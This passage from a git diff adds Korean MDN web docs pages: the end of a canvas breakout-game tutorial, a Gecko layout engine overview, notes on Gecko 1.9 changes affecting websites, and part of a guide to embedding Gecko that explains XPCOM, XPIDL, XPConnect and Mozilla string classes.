위 코드에서 볼 수 있듯이{{domxref("CanvasRenderingContext2D.beginPath()","beginPath()")}}와 {{domxref("CanvasRenderingContext2D.closePath()","closePath()")}}메소드가 다시 나왔습니다. 그 사이에, 가장 중요한 부분인 {{domxref("CanvasRenderingContext2D.arc()","arc()")}} 메소드가 있습니다. 이 메소드는 6개의 파라미터를 갖습니다.

+ + + +

{{domxref("CanvasRenderingContext2D.fillStyle","fillStyle")}}속성은 이전과 조금 달라 보이는데, 이는 CSS에서 색상을 표현하는 여러가지 방법 중 하나입니다. 색상을 표현할 때, 16진수로 색상값을 표현하거나, 색상 키워드를 사용하거나, rgba() 함수를 사용하거나 그외에 다른 색상 메소드를 사용할 수 있습니다.

+ +

{{domxref("CanvasRenderingContext2D.fill()","fill()")}}을 사용해서 원에 색상을 채울 수 있다면,{{domxref("CanvasRenderingContext2D.stroke()","stroke()")}}를 이용하면 원의 외곽선에 색상을 부여할 수 있습니다. 아래의 코드들도 여러분의 JavaScript에 추가해보세요.

+ +
ctx.beginPath();
+ctx.rect(160, 10, 100, 40);
+ctx.strokeStyle = "rgba(0, 0, 255, 0.5)";
+ctx.stroke();
+ctx.closePath();
+ +

위 코드는 비어있는 파란색 외곽선으로 된 원을 그립니다. rgba() 함수의 알파 채널 값 때문에 파란색은 반투명하게 표현됩니다.

+ +

여러분의 코드와 비교해 보세요

+ +

 JSFiddle에서 라이브로 실행되는 전체 코드입니다.

+ +

{{JSFiddleEmbed("https://jsfiddle.net/end3r/x62h15e2/","","370")}}

+ +
+

연습해보기: 주어진 모양들의 크기와 색상을 변경해보세요.

+
+ +

다음 단계로

+ +

이제 우리는 기본적인 HTML을 설정하고, canvas에 대해 조금 배웠습니다. 두 번째 챕터로 넘어가서 게임에서 공을 움직이기위해 어떻게 해야 하는지 계속 알아봅시다.

+ +

{{PreviousNext("Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임", "Games/Tutorials/순수한_자바스크립트를_이용한_2D_벽돌깨기_게임/공_움직이기")}}

diff --git a/files/ko/gecko/index.html b/files/ko/gecko/index.html new file mode 100644 index 0000000000..09de4208ab --- /dev/null +++ b/files/ko/gecko/index.html @@ -0,0 +1,73 @@ +--- +title: Gecko +slug: Gecko +tags: + - Gecko +translation_of: Mozilla/Gecko +--- +
+

Gecko는 Mozilla 프로젝트에서 개발한 레이아웃 엔진의 이름입니다. 원래 이름은 NGLayout이었습니다. Gecko의 기능은 HTMLCSSXULJavaScript 같은 콘텐츠를 읽어와 해석한 뒤 사용자의 스크린에 그려주는 역할을 합니다. Gecko 어플리케이션은 웹 콘텐츠뿐만 아니라 XUL기반의 어플리케이션들의 UI를 해석하기도 합니다.

+
+

Gecko는 FireFox, SeaMonkey 등과 같은 몇개의 브라우저를 포함한 다양한 어플리케이션에서 사용합니다. (정확한 리스트는 Wikipedia's article on Gecko를 참고하세요) 같은 버전의 Gecko를 사용하는 제품은 표준을 같이 지원합니다.

+ + + + + + + +
+

문서

+
+
+ Gecko FAQ
+
+ Gecko에 대해 흔히 물어보는 질문.
+
+ Gecko DOM 명세
+
+ DOM 명세.
+
+ Gecko event 명세
+
+ Gecko와 Mozilla 어플리케이션에서 사용하는 이벤트 명세; 웹표준 DOM Event가 궁금하다면,  DOM event reference을 참고하세요.
+
+ Gecko 버전과 어플리케이션 버전
+
+ Gecko 버전과 Gecko를 사용하는 어플리케이션의 버전.
+
+ Mozilla 내의 Layout 소개
+
+ layout에 대한 기술 토론.
+
+ Embedding Mozilla
+
+ 어플리케이션에 Gecko를 사용하는 법.
+
+ Gecko에서 지원하는 캐릭터셋
+
+ Gecko에서 지원하는 캐릭터셋 목록.
+
+ HTML 파서 스레딩
+
+ HTML 파서의 멀티 스레딩 설명
+
+ {{interwiki('wikimo', 'Gecko:Home_Page', 'Gecko Home Page on MozillaWiki')}}
+
+ 더 많은 최신 자료와 로드맵이 제공되는, 활발한 개발자를 위한 홈.
+
+

전체 보기...

+
+

커뮤니티

+
    +
  • View Mozilla forums... {{DiscussionList("dev-tech-layout", "mozilla.dev.tech.layout")}}
  • +
+ +
+  
+
+
+ 웹 표준XULEmbedding MozillaDeveloping Mozilla
+
+
+

 

diff --git a/files/ko/gecko_1.9_changes_affecting_websites/index.html b/files/ko/gecko_1.9_changes_affecting_websites/index.html new file mode 100644 index 0000000000..53dba457fa --- /dev/null +++ b/files/ko/gecko_1.9_changes_affecting_websites/index.html @@ -0,0 +1,73 @@ +--- +title: Gecko 1.9 Changes affecting websites +slug: Gecko_1.9_Changes_affecting_websites +tags: + - Gecko + - Web Development +translation_of: Mozilla/Firefox/Releases/3/Site_compatibility +--- +

이 글은 웹사이트의 동작이나 표현(rendering)에 영향을 미칠 수 있는, Gecko 1.8과 Gecko 1.9 사이의 바뀌 점들을 소개합니다.

+ +

Firefox 3 for developers도 보세요.

+ +

이벤트

+ +

포착하는 load 이벤트 청취자

+ +

Gecko 1.8에서는 포착하는(capturing) load 이벤트 청취자를 그림에 설정하는 게 불가능했습니다. Gecko 1.9에서는 이 문제를 {{ Bug(234455) }}로 고쳤습니다. 하지만 이벤트 청취자가 load 이벤트를 포착하게 설정하도록 어긋나게 만든 웹사이트에서 문제를 일으킬 수 있습니다. {{ Bug(335251) }}에서 토론한 내용을 보세요. 이 문제를 고치려면 당해 문제가 있는 페이지가 포착하는 load 이벤트 청취자를 설정하지 않게 해야 합니다.

+ +

예를 들어 이것을:

+ +
window.addEventListener('load', yourFunction, true);
+
+ +

이렇게 바꿔야 합니다:

+ +
window.addEventListener('load', yourFunction, false);
+
+ +

이벤트 포착의 작동 원리를 알려면 DOM Level 2 Event capture를 보세요.

+ +

preventBubble 없앰

+ +

Gecko 1.8에는 이벤트가 위로 넘치지 못하게 하는 preventBubble 메소드가 이벤트에 있었습니다. Gecko 1.9에는 이 메소드가 없습니다. 그 대신에 표준인 stopPropagation()을 써야 합니다. 이 메소드는 Gecko 1.8에서도 제대로 작동합니다. {{ Bug(330494) }}의 패치가 적용됐습니다. {{ Bug(105280) }}도 보세요.

+ +

다른 몇 가지 오래된 이벤트 API를 더 이상 지원 안 함

+ +

window.captureEvents, window.releaseEvents, 그리고 window.routeEvent는 Gecko 1.9에서 더 이상 지원하지 않습니다({{ Obsolete_inline() }}).

+ +

DOM

+ +

WRONG_DOCUMENT_ERR

+ +

Nodes from external documents should be cloned using document.importNode() (or adopted using document.adoptNode()) before they + can be inserted into the current document. For more on the Node.ownerDocument issues, see the + W3C DOM FAQ.

+ +

Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many + sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for + improved future compatibility.

+ +

범위

+ +

intersectsNode 없앰

+ +

Gecko 1.8에서는 어떤 노드가 범위(range)에 엇갈리는 건지를 판단하는 데 intersectsNode 함수를 쓸 수 있었습니다. 그러나 이 함수의 반환값은 헷갈리고 좀처럼 쓸모가 없으므로 Gecko 1.9에서 없앴습니다. 그 대신에 좀 더 정확하고 표준 함수인 compareBoundaryPoints를 쓰세요. {{ Bug(358073) }}의 패치로 없앴습니다.

+ +

compareBoundaryPoints를 대신 쓰는 법을 보려면 intersectsNode를 설명하는 문서를 보세요.

+ +

compareNode 없앰

+ +

Gecko 1.8에서는 어떤 노드가 범위(range)에 엇갈리는 건지를 판단하는 데 compareNode 함수를 쓸 수 있었습니다. 그러나 이 함수의 반환값은 헷갈리고 좀처럼 쓸모가 없으므로 Gecko 1.9에서 없앴습니다. 그 대신에 좀 더 정확하고 표준 함수인 compareBoundaryPoints를 쓰세요. {{ Bug(358073) }}의 패치로 없앴습니다.

+ +

compareBoundaryPoints를 대신 쓰는 법을 보려면 compareNode를 설명하는 문서를 보세요.

+ +

HTML

+ +

<object>의 많은 버그 고침

+ +

objectembed 요소를 표현하는 데 type 속성이 더 이상 필요하지 않습니다. JavaScript로 (<embed>의) src 속성이나 (<object>의) data 속성을 바꾸는 것도 이제 제대로 작동합니다. HTML 명세에 따라서 <object> 요소의 type 속성보다 서버가 보낸 Content-Type 헤더가 우선합니다(embed의 경우는 아님).

+ +
 
+ +

{{ languages( { "en": "en/Gecko_1.9_Changes_affecting_websites", "fr": "fr/Changements_dans_Gecko_1.9_affectant_les_sites_Web", "ja": "ja/Gecko_1.9_Changes_affecting_websites", "pl": "pl/Zmiany_w_Gecko_1.9_wp\u0142ywaj\u0105ce_na_wy\u015bwietlanie_stron", "pt": "pt/Mudan\u00e7as_no_Gecko_1.9_que_afetam_websites" } ) }}

diff --git a/files/ko/gecko_embedding_basics/index.html b/files/ko/gecko_embedding_basics/index.html new file mode 100644 index 0000000000..1626e6db79 --- /dev/null +++ b/files/ko/gecko_embedding_basics/index.html @@ -0,0 +1,401 @@ +--- +title: Gecko Embedding Basics +slug: Gecko_Embedding_Basics +tags: + - Embedding Mozilla +translation_of: Mozilla/Gecko/Gecko_Embedding_Basics +--- +

정보의 원천, 놀이, 개인간 교류 수단으로써 웹의 중요성이 끝없이 증가하면서, HTML 포맷으로 저장된 데이터에 접근하고 보는 능력은 다양한 소프트웨어 애플리케이션을 폭넓게 대체하기 위해 점점 더 중요해지고 있다. 단순한 HTML 페이지 뷰어건 완벽한 기능의 웹 브라우저이건, HTML 기반 문서를 해석하고 그려내는 것은 수많은 상황에서 매우 중요한 기능이 됐다. 애플리케이션 개발자는 개발 시간을 최소화하면서도 애자일하고 안정성이 높은 제품을 만들기 위해, HTML을 출력하는 결정적인 기능을 어떻게 구현할지에 고민하게 되었다. Gecko, 즉 넷스케이프와 모질라 브라우저의 핵심에 있는 렌더링 엔진을 임베딩하는 것은 이런 문제에 대한 훌륭한 해결책이다.

+ +

왜 Gecko인가?

+ +

Gecko를 임베딩하는 것은 현명한 선택이다. Gecko는 빠르고, 안정적이며 표준을 매우 잘 지키고 있다. Mozilla와 Netscape의 지원 아래서 매우 널리 배포되었으며 많은 사람들이 꾸준히 지켜보고 있다.

+ +

Gecko는 오픈 소스이다. 다른 임베딩 브라우저 솔루션과는 달리, Gecko의 모든 소스 코드는 자유롭게 사용할 수 있으며 마음껏 수정할 수 있다. 필요한 만큼 뜯어 고칠 수 있다. 또한 현재의 라이센스에 따르면, Gecko를 독점적인 상용 제품에 컴포넌트로 사용할 수도 있다.

+ +

Gecko는 Mozilla 프로젝트와 연관되어 있으므로, Mozilla 프로젝트에서 임베딩 작업에 도움이 되는 많은 리소스를 쉽게 얻을 수 있다. Mozilla 웹 사이트에는 임베딩 프로젝트 영역이 있다. 또한 mozilla.dev.emobedding 뉴스그룹이 있으며, 많은 관련 뉴스그룹과 함께 임베딩 개발자들 간에 정보를 교환하는 것을 주 목적으로 하고 있다. 전체 코드기반 상호 참조가 가능하며, Bugzilla 버그 데이터베이스를 통해 버그 제출, 버그 진행 상황 참조, 버그 수정 참여 등을 간단히 할 수 있다.

+ +

Gecko는 바닥부터 크로스플랫폼으로 설계되었다. mozill.org에서는 직접 Wintel, MacOS 9.0과 OS X, 리눅스를 지원하고 있으며, 수많은 다른 플랫폼도 써드파티에서 지원하고 있다.

+ +

마지막으로, Gecko를 라이센스하는 것은 로열티가 필요 없으며, 심지어 독점 저작권을 갖는 상용 제품에도 로열티없이 적용할 수 있다. "매우" 일반적으로는, 모질라가 제공하는 원본 소스코드에 대해서는 어떤 수정도 커뮤니티에 반환되어야 한다.(Gecko를 임베드하는 코드까지 반환해야하는 것은 아니다.) 즉 애플리케이션의 사용자라면 사용중인 Gecko 엔진에 해당하는 소스 코드를 언제든지 얻을 수 있어야 하며(대부분 mozilla.org 웹사이트 링크를 통해서), 애플리케이션은 명확한 방법으로 Gecko를 사용하고 있음을 공지해야 한다. (예를 들면, 제품 박스 위의 로고나 About: 페이지 등) 가능한 라이센스 방법에 대한 정확한 설명은 라이센스에 대해 유일한 법적 근거인 Mozilla & Nescape Public Licneses에서 볼 수 있다.

+ +

임베딩에 필요한 것

+ +

Gecko를 임베드하기로 결정했다면, 세가지 과정을 밟아야 한다. 첫째로 코드를 얻는다. 다음으로 Gecko 코드베이스를 다루는데 사용되는 몇가지 지정 기술을 이해해야 한다. 마지막으로 추가하려는 부가적인 기능을 결정해야 한다. 이 절은 이러한 과정을 안내할 것이다.

+ +

코드 얻기

+ +

이 글을 쓰는 시점에서 Gecko를 임베드하기 위한 파일을 얻는 가장 좋은 방법은 전체 Mozill 소스 트리를 다운로드해서 빌드하는 것이다. 사실 상당히 간단한 과정이다. 전체 설명과 적절한 링크는 Download Mozilla Source Code에서 찾을 수 있다. 두번째 방법(컴포넌트에 의한 컴포넌트)은 현재 개발 중이며, 아직 베타 상태에 있다. 이 프로젝트에 대한 정보는 REQUIRES 기반 빌드 메카니즘에서 찾을 수 있다. 그 외에, Gecko 런타임 환경(GRE, Gecko Runtime Environment)가 개발중에 있다. GRE는 단일 코어 라이브러리를 사용하는 모질라 컴포넌트 위에서 여러가지 애플리케이션을 지원하기 위한 것이다. (컴포넌트에 의한 컴포넌트를 사용하려고 생각한다면, 우선 버전과 바이너리 호환성에 대한 이슈를 잘 살펴봐야 한다. XPCOM 컴포넌트 재사용을 살펴보면 도움이 될 것이다.)

+ +

우선 몇가지 도구(기본으로 컴파일러, 펄 배포판, 몇몇 범용 유틸리티)를 가져와야 한다. 그런 다음 컴퓨터 환경을 설정하고, 소스를 다운로드 한다. 전체 트리를 다운로드하려 한다면, 두가지 방법이 있다. FTP에서 전체 소스 트리를 tar로 압축한 파일을 가져올 수 있다. (이것이 가장 간단한 방법이며, 확실히 컴파일이 가능한 한 방법이다. 다만 최근에 수정된 코드는 포함하지 않았을 수도 있다.) 다른 방법은 CVS에서 가장 최신의 코드를 가져오거나 변경분에 대한 업데이트를 수행하는 것이다. 소스를 가져와서 환경 설정을 적절히 끝마친 다음에는 제공된 makfile 중 적절한 것을 실행하면 된다. 각 플랫폼마다 컴파일 과정에 대한 상세한 설명이 있다.

+ +

빌드가 끝나면 mozilla/embedding/config 디렉토리로 간다. 거기서 예제 manifest 파일을 찾을 수 있을 것이다. (파일들은 모두 이름이 "basebrowser"로 시작한다. manifest 파일은 각 플래폼마다 임베딩을 위한 개별 설정이다. 기본으로 들어있는 것은 단지 예제일 뿐이며, 당신의 목적에는 딱 들어맞지 않을 수도 있다. 하지만 예제로 시작해서 조금씩 수정해 나가면 좋을 것이다. 각 플랫폼마다 모델로 삼을 만한 예제 임베딩 프로젝트들도 있다. Roll_your_own_browser_-_An_embedding_HowTo를 참고하라.

+ +

코드 작성 환경 이해하기

+ +

모질라는 처음부터 여러 플랫폼과 프로그래밍 언어에 대한 설계와 개발을 지원하는 것으로 시작됐다. 결국 여러가지 자체 프로그래밍 기술이 개발되었으며, 모두 다 객체 은폐라는 이상적인 개념을 바탕으로 두고 있다. Gecko 임베딩에는 XPCOM, XPIDL, XPConnect, 특별 문자열 클래스, XUL 등의 기술에 대한 실제적인 지식을 필요로 한다. 다음은 각 기술에 대한 간략한 소개이다. 더 자세한 정보는 mozilla.org 사이트에서 찾을 수 있다.

+ +

XPCOM

+ +

모질라 기술 중 가장 중요한 것은 XPCOM, 즉 크로스플랫폼 컴포넌트 오브젝트 모델(Cross-Platform Component Object Model)이다. XPCOM은 객체나 다른 데이터의 생성, 소유, 제거를 모질라 전체에 걸쳐 관리하는 프레임워크를 제공한다. MSCOM을 사용한 적이 있다면, 기본적으로 유사한 개념임을 느낄 것이다. 하지만 매우 큰 차이가 있다. XPCOM은 크로스플랫폼이며 단일 스레드에서 대부분 동작하도록 설계되어 있다. 또한 XPCOM와 MSCOM은 현재로써는 아직 호환되지 않는다.

+ +
인터페이스
+ +

XPCOM의 핵심은 인터페이스라는 개념이다. 인터페이스는 특정 기증과 연관된 메소드, 속성, 관련 상수의 집합을 기술한 것일 뿐이다. 실제 기능을 구현하는 클래스와는 전혀 별개이다. 인터페이스는 계약의 역할을 한다. 특정 인터페이스를 지원하는 객체는 인터페이스에 기술된 서비스를 수행한다는 약속의 의미이다. 인터페이스를 최대한 중립적으로 유지할 수 있도록 IDL(Interface Definition Language)라는 별도의 언어를 사용해서 기술한다. 인터페이스 파일은 일반적으로 .idl이라는 확장자를 갖는다. 인터페이스의 기능을 지정할 뿐만 아니라 인터페이스의 IID도 지정한다. IID는 인터페이스를 지정할 때 사용하는 세계에서 유일한 번호이다.

+ +

Gecko 내에서 이루어지는 통신의 대부분은 추상 구조체를 거친다. (규약에 따라 추상 구조체의 이름은 nsISomething의 형식을 따른다.)

+ +
//이거야
+void ProcessSample(nsISample* aSample) {
+	aSample->Poke("Hello");
+//이건 아니야
+void ProcessSample(nsSampleImpl* aSample) {
+	aSample->Poke("hello");
+
+ +
@status FROZEN
+ +

XPCOM의 추상화 수준으로 인해 시스템이 매우 큰 유연성을 갖추게 됐다. 구현은 필요에 따라 얼마든지 변경할 수 있다. 하지만 최소한 인터페이스 자체는 고정된 채로 유지해야 한다. 모질라의 초기 설계와 개발 기간 동안에는 인터페이스는 다소 유동적인 것이었지만, 프로젝트가 성숙되면서 점점 더 많은 인터페이스가 FROZEN으로 표시됐다. FROZEN으로 표시된 인터페이스는 향후 변경되지 않음을 보장한다는 의미이다.

+ +

임베딩 관련된 대부분의 주요 인터페이스가 FROZEN으로 표시되긴 했지만, 인터페이스를 사용하기 전에 확인해보는 것이 좋다. 인터페이스의 상태는 .idl 파일의 주석에 나열된다. 얼려진 인터페이스(frozen interface)는 @status FROZEN라는 표시가 달린다. 모질라 상호 참조 도구를 사용해서 얼려진 인터페이스를 검색할 수도 있다. 얼려지지 않은 상태의 인터페이스는 언제든지 변경될 가능성이 있다. 얼리는 과정에 대한 자세한 정보는 임베딩 프로젝트 페이지를 참고하라.

+ +

인터페이스가 얼려지고 나면 해당 인터페이스는 Gecko 임베딩 API 참조에 추가된다.

+ +
nsISupports
+ +

한 객체가 하나 이상의 인터페이스를 지원할 수 있다. 실제로는 모든 객체는 최소한 두 개의 인터페이스를 지원해야 한다. 하나는 실제 객체의 역할이 되는 무언가이고, 다른 하나는 범용적인 목적으로 사용되는 nsISupports이다. 다르게 말하자면 nsISupports는 모든 XPCOM 인터페이스의 조상이다. 모든 인터페이스는 nsISupports로부터 상속되며, 대부분은 직접 상속받는다. nsISupports는 두가지 주요 기능을 갖는다. 런타임 타입 발견과 객체 생명주기 관리이다. MSCOM의 IUnknown과 동일한 역할을 한다.

+ +

모든 객체가 다중 인터페이스를 지원하기 때문에, 한 인터페이스에 대한 포인터를 가진 상태에서 해당 객체가 당장 필요한 기능을 제공하는 다른 인터페이스를 지원하는지 알아낼 수 있다. 첫번째 nsISupports 메소드인 QueryInterface()는 다음과 같은 질문을 수행한다. "나는 이 객체가 A 타입임(인터페이스 A를 지원함)을 알고 있다. 그런데 타입 B이기도 한가?(인터페이스 B도 지원하는가?)"

+ +

만일 그렇다면 QueryInterface()는 새로 요청된 인터페이스로 연결된 포인터를 반환한다.

+ +
void ProcessSample(nsISample* aSample) {
+	nsIExample *example;
+	nsresult rv;
+	rv = aSample->QueryInterface(NS_GET_IID(nsIExample),(void **)&example);
+	if (NS_SUCCEEDED(rv)) {
+		example->DoSomeOperation();
+		NS_RELEASE(example); // Release호출을 위해 매크로를 사용
+	}
+}
+
+ +

XPCOM은 간접적인 방법(컴포넌트 관리자)을 사용해서 객체의 인스턴스를 생성하기 때문에, 같은 객체에 대한 다중 포인터(각각 다양한 인터페이스로 연결됨)가 존재할 수 있으며, 포인터가 가리키는 모든 객체를 호출자가 정확하게 추적하기 어려워질 수 있다. 객체가 필요하지 않은 상황에서도 남아있게 되서 메모리 누수가 발생하거나, 필요한 객체가 삭제되는 바람에 댕글링 포인터가 나타날 수도 있다. nsISupports의 다른 두 메소드 AddRef()Release()는 이런 이슈를 다루기 위해 설계된 것이다. 포인터가 변수에 입력될 때마다AddRef()가 호출되어 내부 카운터가 증가한다. 포인터가 풀려날 때마다 Release()가 호출되어 내부 카운터가 감소한다. 카운터가 0이 되면, 객체에 대한 포인터가 없으며 객체를 안전하게 삭제할 수 있다. 객체의 수명에 대한 제어는 객체 내부에 있는 것이다. 이와 같은 과정을 자동화할 수 있도록 돕는 유틸리티인 XPCOM "스마트" 포인터nsCOMPtr에 대한 정보를 참고하라.

+ +
객체 생성
+ +

XPCOM에서는 객체의 인스턴스 생성조차도 간접적인 절차를 거친다. 인터페이스가 GUID(Globally Unique ID)인 IID를 갖는 것처럼, XPCOM 클래스도 자신만의 GUID인 CID를 갖는다. 또는 문자 기반 ID인 Contract ID로 참조하기도 한다. 두가지 ID 중 하나를 객체를 생성하는 영속적인 XPCOM 컴포넌트인 "컴포넌트 관리자"의 메소드에 전달한다. 새로운 클래스 라이브러리(XPCOM에서는 모듈이라고 부른다)를 시스템에 처음 배치할 때, 라이브러리는 자기 자신을 컴포넌트 관리자에 등록하며, 컴포넌트 관리자는 클래스(ID로 참조)와 클래스가 포함된 라이브러리를 매핑하는 레지스트리를 관리한다.

+ +

싱글턴 객체가 제공하는 몇가지 영속적인 서비스는 컴포넌트 관리자와 함께 서비스 관리자가 생성하고 제어한다. 컴포넌트 관리자 자체도 영속적인 서비스의 예시 중 하나이다.

+ +
요약
+ +

XPCOM에 포함된 기능은 추상 인터페이스로 기술되며, 시스템 요소 간의 대부분의 통신은 인터페이스를 거쳐서 이루어진다. 반면, 인터페이스를 구현하는 하부 객체들은 교차색인 레지스트리에 기반한 컴포넌트 관리자에 의해 간접적으로 생성된다.

+ +

모든 인터페이스가 공유하는 기능 한가지는 런타임에서 하부 객체에게 어떤 다른 인터페이스를 구현하고 있는지 질의하는 기능이다. 인터페이스는 고정되어 변하지 않는다는 가정이 있는 것이지만, 현재 모질라 코드베이스에서는 FROZEN으로 선언된 인터페이스들만이 크게 변경되지 않을 것임을 보장한다. 객체 생명주기 관리는 객체 내에 들어있는 자신에게로 향하는 포인터의 개수를 추적하는 내부 카운터를 통해 이루어진다. 객체를 사용하는 클라이언트가 해야 할 일은 카운터를 올리거나 내리는 것 뿐이다. 내부 카운터가 0에 도달하면 객체는 자기자신을 삭제한다.

+ +
nsCOMPtr
+ +

하지만 AddRef()Release()를 적절한 때에 호출하는 것을 가끔 잊어버릴 수도 있다. 이런 과정을 더 쉽고 확실히 화기 위해 XPCOM은 내장 "스마트" 포인터인 nsCOMPtr을 제공한다. 이 포인터는 AddRef()Release() 호출을 처리한다. 대신 nsCOMPtr을 사용하면 코드를 더 명확하고 효율적으로 만들 수 있다. 스마트 포인터에 대한 추가 정보는 "The Complete nsCOMPtr User's Manual"을 참고하라.

+ +

모질라는 수많은 내장 매크로(규약에 따라 코드 내에서 모두 대문자로 작성됨)나 nsCOMPtr과 같은 유틸리티를 제공해서 XPCOM으로 코딩하는 과정을 더 쉽게 만들어 준다. 이들 중 대부분은 다음 파일에서 찾을 수 있다.

+ +

<tt>nsCom.h</tt>, <tt>nsDebug.h</tt>, <tt>nsError.h</tt>, <tt>nsIServiceManager.h</tt>, <tt>nsISupportsUtils.h</tt>

+ +

모질라는 메모리 사용량 추적 기능 같은 개발 도구까지 제공한다. 이런 도구에 대한 정보는 http://www.mozilla.org/performance/ 에서 찾을 수 있다.

+ +
참고자료
+ +

XPCOM에 대한 참고자료는 일반적으로 XPCOM에서 찾을 수 있다. XPCOM 컴포넌트 작성에 대한 개략적인 내용은 오릴리 서적인Creating Applications with Mozilla의 8장에서 참고할 수 있다. 전체 내용이 XPCOM 관련된 책인Creating XPCOM Components도 있다. Don Box가 저술한Essential COM에서는 COM 시스템의 기반 로직에 대해 더욱 상세히 설명하고 있다. 비록 MSCOM에 대해 초점을 맞춘 책이긴 하지만, 객체 모델 등을 사용할 때 필요한 핵심 원리를 이해하하기에 매우 훌륭한 배경지식을 제공한다.

+ +

XPIDL

+ +

인터페이스는 XPIDL(Cross Platform Interface Definition Language)로 작성된 추상 클래스이다. 여전히 인터페이스에서 제공할 기능은 몇몇 정규 프로그래밍 언어로 작성하는 것이 유용하다. XPIDL 컴파일러가 이런 역할을 한다. 인터페이스를 .idl 파일에 정의하면 XPIDL 컴파일러가 정의된 인터페이스를 처리한다.

+ +

컴파일러는 여러가지 출력이 가능하지만, 일반적으로는 두가지 출력을 사용한다. 인터페이스의 C++ 구현을 위해 사용하며 주석달린 템플릿을 포함하는 C++ .h 파일이 그 중 하나이다. 다른 하나는 XPConnect가 사용할 타입 라이브러리 정보를 포함하는 XPT 파일이다. XPConnect는 JavaScript에서 인터페이스를 사용할 수 있도록 한다. XPIDL의 문법(간단한 C 스타일 언어)에 대한 자료와 컴파일러 사용법이 참고하라.

+ +

XPConnect와 XPT 파일

+ +

XPConnectJavaScript로 작성된 코드에 접근하거나, C++로 작성된 XPCOM 컴포넌트를 다룰 수 있도록 하는 XPCOM 모듈이다. XPConnect를 사용하면, XPCOM 인터페이스를 제공하거나 사용하는 양쪽 컴포넌트가 상대방이 어떤 언어로 작성됐는지 신경쓸 필요가 없다.

+ +

인터페이스를 XPIDL 컴파일러에 적용하면, XPT 또는 타입 라이브러리 파일을 생성한다. XPConnect는 XPT 파일로부터 얻은 정보를 사용해서 C++ 객체와 JavaScript 객체 간의 통신을 XPCOM 인터페이스를 통해서 투명하게 구현한다. 그러므로 C++로만 개발하더라도 XPCOM 인터페이스를 생성해서 코드에 포함시키는 것이 매우 중요하다. 브라우저의 특정 부분만 JS로 구현된 것이 아니라, 향후에도 누군가 JS 기반 코드를 사용해서 당신이 작성한 컴포넌트와 상호작용하도록 할 수도 있다.

+ +

현재 모질라에서 XPConnect는 C++와 JS 간의 상호작용을 가능하게 한다. 다른 언어(Python 등)에서 접근할 수 있도록 하는 모듈은 별도로 개발 중이다.

+ +

String 클래스

+ +

웹 브라우징은 일반적으로 많은 양의 문자열 처리를 필요로 한다. 모질라는 문자열을 처리하고 효율적으로 빠르게 출력하기 위한 C++ 클래스 라이브러리를 개발해왔다. 모질라는 객체 간 통신을 간단하게 하고 에러를 줄이기 위해 인터페이스, 즉 추상 클래스를 사용한다. 같은 이유로 String 클래스 계층도 nsAString, nsASingleFragmentString, nsAFlatString 등의 몇가지 추상 클래스를 앞세운다. (이 클래스들은 2바이트 문자열을 참조한다. nsACString로 시작하는 1바이트 문자열을 참조하는 계층이 동일한 구조로 별도로 존재한다.) nsAString은 문자로 구성된 문자열이라는 것만 보장한다. nsASingleFragmentString는 문자들이 한 버퍼에 저장되어 있음을 보장한다. nsAFlatString는 문자들이 하나의 null로 끝나는 버퍼에 들어있음을 보장한다. 하부에는 구상 클래스가 있지만, 되도록이면 가능한한 가장 추상적인 타입을 사용하는 것이 좋다. 예를 들어 문자열 접합(concatenation)은 포인터를 사용해서 가상으로 이루어질 수 있으며, 그 결과는 다른 문자열처럼 사용될 수 있는 nsAString이다. 덕분에 메모리 할당과 복사를 하지 않아도 된다. 더 자세한 정보는 "Guide to the Mozilla string classes"를 참고하라.

+ +

XUL/XBL

+ +

이 마지막 모질라 기술은 애플리케이션의 UI를 어떻게 만들 것이냐에 따라 선택해서 사용할 수 있다. XUL은 모질라의 매우 유연한 XML UI 언어이다. 매우 다양한 플랫폼 독립적인 위젯을 제공하며 위젯들을 사용해서 UI를 작성할 수 있다. 넷스케이프와 모질라는 모두 XUL을 인터페이스로 사용하지만, 모든 임베딩 애플리케이션 개발자들이 XUL을 사용하는 것은 아니다. XBL(eXtensible Binding Language)은 XUL의 XML 요소에 동작을 추가하는 데 사용할 수 있다. XUL에 대한 더 자세한 정보는 XUL Programmer's Reference에서, XBLXBL:XBL_1.0_Reference에서 찾을 수 있다. XULPlanet에도 XUL에 관련된 좋은 정보가 많다.

+ +

추가적인 기능들의 선택

+ +

이 문서(8/19/02)에 따르면, Gecko는 부분적으로 모듈화 되어있는 렌더링 엔진이다. 기본적인 브라우징외의 어떤 기능들은 항상 Gecko와 함께 임베디드 되어있고, 구조적인 결정의 결과들로 인해 항상 그래야 한다. (현재 어느부분은 Gecko와 함께 임베디드 되어있지만, 미래에 어떤 부분들은 분리되어 질 수 있다.) 그리고, 어떤 부분은 옵션으로 사용 가능하다. 아래의 테이블에 이 추가적인 기능들의 대한 현재 상태가 기술되어 있다.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FunctionsStatus NowStatus in Future
FTP supportOptional
HTTPS supportOptional
International character supportOptional
XUL supportRequiredProbably optional
Network supportRequiredMaybe optional
JavaScript supportRequiredMaybe optional
CSS supportRequiredAlways required
DOM supportRequiredProbably always
XML supportRequiredProbably always
+ +

이번에 렌더링 엔진 Gecko와 함께 임베디드된 Mozilla의 에디터는 발전을 계속하고 있다는 하나의 불확실한 제의이다. 임베디드 될수 있는 에디터의 상태에 관해 더 정보를 보고 싶다면, http://www.mozilla.org/editor/Editor...ing_Guide.html 을 참조하라.

+ +

What Gecko Provides

+ +

The following is a description of some of the interfaces most commonly used in embedding Gecko. It is by no means an exhaustive list of the available interfaces. The interfaces in this section are on classes provided by Mozilla. There is also a set of interfaces for which Gecko expects the embedder to provide the implementation. A sample of those are covered in the next section.

+ +

초기화와 Teardown

+ +

Gecko를 초기화하고 종료하는데 사용되는 2개의 C++ 함수가 있다. 초기화 함수(NS_InitEmbedding)는 Gecko를 사용하기 전에 반드시 호출하여야 한다. 이것은 XPCOM을 안전하게 시작할 수 있도록, 필요하다면 컴포넌트 레지스트리를 생성하며, Global service를 기동한다. Shutdown 함수(NS_TermEmbedding)는 Gecko embedding layer를 종료하며, Global service를 안전하게 unload 하며, File을 닫고, XPCOM을 종료한다.

+ +

nsIWebBrowser

+ +

Use of this interface during initialization allows embedders to associate a new nsWebBrowser instance (an object representing the "client-area" of a typical browser window) with the embedder's chrome and to register any listeners. The interface may also be used at runtime to obtain the content DOM window and from that the rest of the DOM.

+ +

